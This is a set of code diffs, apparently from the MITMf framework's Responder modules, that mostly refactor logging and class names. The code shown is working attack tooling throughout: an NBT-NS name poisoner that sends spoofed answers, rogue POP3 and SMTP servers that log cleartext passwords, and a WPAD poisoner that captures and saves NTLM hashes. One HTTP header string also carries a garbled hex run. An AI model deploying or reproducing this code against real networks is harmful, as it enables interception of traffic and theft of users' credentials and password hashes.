formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("NBTNSpoisoner", formatter)
|
||||
|
||||
class NBTNSPoisoner():
|
||||
class NBTNSpoisoner():
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
|
@ -23,13 +25,13 @@ class NBTNSPoisoner():
|
|||
global args; args = options
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[NBTNSPoisoner] OURIP => {}".format(ourip))
|
||||
log.debug("OURIP => {}".format(ourip))
|
||||
server = ThreadingUDPServer(("0.0.0.0", 137), NB)
|
||||
t = threading.Thread(name="NBTNSPoisoner", target=server.serve_forever)
|
||||
t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[NBTNSPoisoner] Error starting on port 137: {}".format(e))
|
||||
except Exception as e:
|
||||
log.debug("Error starting on port 137: {}".format(e))
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
|
@ -107,7 +109,7 @@ def Decode_Name(nbname):
|
|||
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[NBTNSPoisoner] Error parsing NetBIOS name: {}".format(e))
|
||||
log.debug("Error parsing NetBIOS name: {}".format(e))
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
# NBT_NS Server class.
|
||||
|
@ -115,7 +117,7 @@ class NB(BaseRequestHandler):
|
|||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
DontRespondTo = ResponderConfig['DontRespondTo']
|
||||
DontRespondToName = ResponderConfig['DontRespondToName']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
|
@ -136,11 +138,11 @@ class NB(BaseRequestHandler):
|
|||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
|
||||
log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
else:
|
||||
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
|
||||
if RespondToSpecificHost(RespondTo) and args.analyze == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
|
@ -151,26 +153,26 @@ class NB(BaseRequestHandler):
|
|||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
|
@ -185,26 +187,26 @@ class NB(BaseRequestHandler):
|
|||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
|
@ -5,20 +5,22 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
|||
from core.responder.common import *
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [POP3server] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("POP3server", formatter)
|
||||
|
||||
class POP3Server():
|
||||
class POP3server():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
mitmf_logger.debug("[POP3Server] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 110), POP)
|
||||
t = threading.Thread(name="POP3Server", target=server.serve_forever)
|
||||
t = threading.Thread(name="POP3server", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[POP3Server] Error starting on port {}: {}".format(110, e))
|
||||
except Exception as e:
|
||||
log.error("Error starting on port {}: {}".format(110, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
|
@ -43,7 +45,7 @@ class POP(BaseRequestHandler):
|
|||
data = self.request.recv(1024)
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
mitmf_logger.info('[+]POP3 User: %s'%(User))
|
||||
log.info('POP3 User: %s'%(User))
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
|
@ -51,7 +53,7 @@ class POP(BaseRequestHandler):
|
|||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
mitmf_logger.info("[POP3Server] POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
|
||||
log.info("POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
|
@ -60,4 +62,4 @@ class POP(BaseRequestHandler):
|
|||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[POP3Server] Error handling request: {}".format(e))
|
||||
log.error("Error handling request: {}".format(e))
|
|
@ -5,21 +5,23 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
|||
from base64 import b64decode
|
||||
from SMTPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("SMTPserver", formatter)
|
||||
|
||||
class SMTPServer():
|
||||
class SMTPserver():
|
||||
|
||||
def serve_thread_tcp(self, port):
|
||||
try:
|
||||
server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
|
||||
server.serve_forever()
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[SMTPServer] Error starting TCP server on port {}: {}".format(port, e))
|
||||
log.error("Error starting TCP server on port {}: {}".format(port, e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(self):
|
||||
mitmf_logger.debug("[SMTPServer] online")
|
||||
log.debug("online")
|
||||
t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
|
||||
t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
|
||||
|
||||
|
@ -56,7 +58,7 @@ class ESMTP(BaseRequestHandler):
|
|||
Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
|
||||
#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
|
||||
mitmf_logger.info("[SMTPServer] {} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
|
||||
log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
|
||||
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[SMTPServer] Error handling request: {}".format(e))
|
||||
log.error("Error handling request: {}".format(e))
|
|
@ -1,275 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import struct
|
||||
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from base64 import b64decode,b64encode
|
||||
|
||||
#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found.
|
||||
class WPADScript(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class ServerExeFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: application/octet-stream\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class ServeAlwaysExeFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: application/octet-stream\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentDisp", "Content-Disposition: attachment; filename="),
|
||||
("ContentDiFile", ""),
|
||||
("FileCRLF", ";\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class ServeAlwaysNormalFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: text/html\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
#HTTP Packet used for further NTLM auth.
|
||||
class IIS_Auth_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Authentication Required\r\n"),
|
||||
("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
|
||||
("Connection", "Connection: close \r\n"),
|
||||
("PConnection", "proxy-Connection: close \r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#HTTP NTLM packet.
|
||||
class IIS_407_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Authentication Required\r\n"),
|
||||
("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "Proxy-Authenticate: NTLM "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("PoweredBy", "X-Powered-By: SMB-TOOLKIT\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
def calculate(self,payload):
|
||||
self.fields["Payload"] = b64encode(payload)
|
||||
|
||||
#HTTP Basic answer packet.
|
||||
class IIS_Basic_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#HTTP Packet used for further NTLM auth.
|
||||
class IIS_Auth_401_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#HTTP Packet Granted auth.
|
||||
class IIS_Auth_Granted(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
#HTTP NTLM Auth
|
||||
class NTLM_Challenge(Packet):
|
||||
fields = OrderedDict([
|
||||
("Signature", "NTLMSSP"),
|
||||
("SignatureNull", "\x00"),
|
||||
("MessageType", "\x02\x00\x00\x00"),
|
||||
("TargetNameLen", "\x06\x00"),
|
||||
("TargetNameMaxLen", "\x06\x00"),
|
||||
("TargetNameOffset", "\x38\x00\x00\x00"),
|
||||
("NegoFlags", "\x05\x02\x89\xa2"),
|
||||
("ServerChallenge", ""),
|
||||
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("TargetInfoLen", "\x7e\x00"),
|
||||
("TargetInfoMaxLen", "\x7e\x00"),
|
||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||
("TargetNameStr", "SMB"),
|
||||
("Av1", "\x02\x00"),#nbt name
|
||||
("Av1Len", "\x06\x00"),
|
||||
("Av1Str", "SMB"),
|
||||
("Av2", "\x01\x00"),#Server name
|
||||
("Av2Len", "\x14\x00"),
|
||||
("Av2Str", "SMB-TOOLKIT"),
|
||||
("Av3", "\x04\x00"),#Full Domain name
|
||||
("Av3Len", "\x12\x00"),
|
||||
("Av3Str", "smb.local"),
|
||||
("Av4", "\x03\x00"),#Full machine domain name
|
||||
("Av4Len", "\x28\x00"),
|
||||
("Av4Str", "server2003.smb.local"),
|
||||
("Av5", "\x05\x00"),#Domain Forest Name
|
||||
("Av5Len", "\x12\x00"),
|
||||
("Av5Str", "smb.local"),
|
||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||
("Av6Len", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##First convert to uni
|
||||
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
|
||||
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
|
||||
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
|
||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
||||
|
||||
##Then calculate
|
||||
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
|
||||
|
||||
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
||||
|
||||
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
# Target Name Offsets
|
||||
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
|
||||
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
#AvPairs Offsets
|
||||
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
|
||||
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
#AvPairs StrLen
|
||||
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
|
||||
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
|
||||
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
|
||||
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
|
||||
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
|
||||
|
||||
#HTTP NTLM packet.
|
||||
class IIS_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "WWW-Authenticate: NTLM "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
def calculate(self,payload):
|
||||
self.fields["Payload"] = b64encode(payload)
|
||||
|
||||
#HTTP Basic answer packet.
|
||||
class IIS_Basic_401_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: Basic realm=''\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
|
@ -1,157 +0,0 @@
|
|||
import socket
|
||||
import threading
|
||||
import logging
|
||||
import re
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.common import *
|
||||
from HTTPPackets import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class WPADPoisoner():
|
||||
|
||||
def start(self, options):
|
||||
|
||||
global args; args = options
|
||||
args.forceWpadAuth = False
|
||||
args.basic = False
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[WPADPoisoner] online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 80), HTTP)
|
||||
t = threading.Thread(name="HTTP", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[WPADPoisoner] Error starting on port {}: {}".format(80, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#HTTP Server Class
|
||||
class HTTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(1)
|
||||
data = self.request.recv(8092)
|
||||
buff = WpadCustom(data,self.client_address[0])
|
||||
if buff and args.forceWpadAuth is False:
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (no auth) file sent to: {}".format(self.client_address[0]))
|
||||
self.request.send(buff)
|
||||
else:
|
||||
buffer0 = PacketSequence(data,self.client_address[0])
|
||||
self.request.send(buffer0)
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data,client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
if NthashLen == 24:
|
||||
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/HTTP-NTLMv1-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
|
||||
WriteData(outfile,WriteHash, User+"::"+Hostname)
|
||||
mitmf_logger.info('[+]HTTP NTLMv1 hash captured from :%s'%(client))
|
||||
mitmf_logger.info('[+]HTTP NTLMv1 Hostname is :%s'%(Hostname))
|
||||
mitmf_logger.info('[+]HTTP NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
mitmf_logger.info('[+]HTTP NTLMv1 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
if NthashLen > 24:
|
||||
NthashLen = 64
|
||||
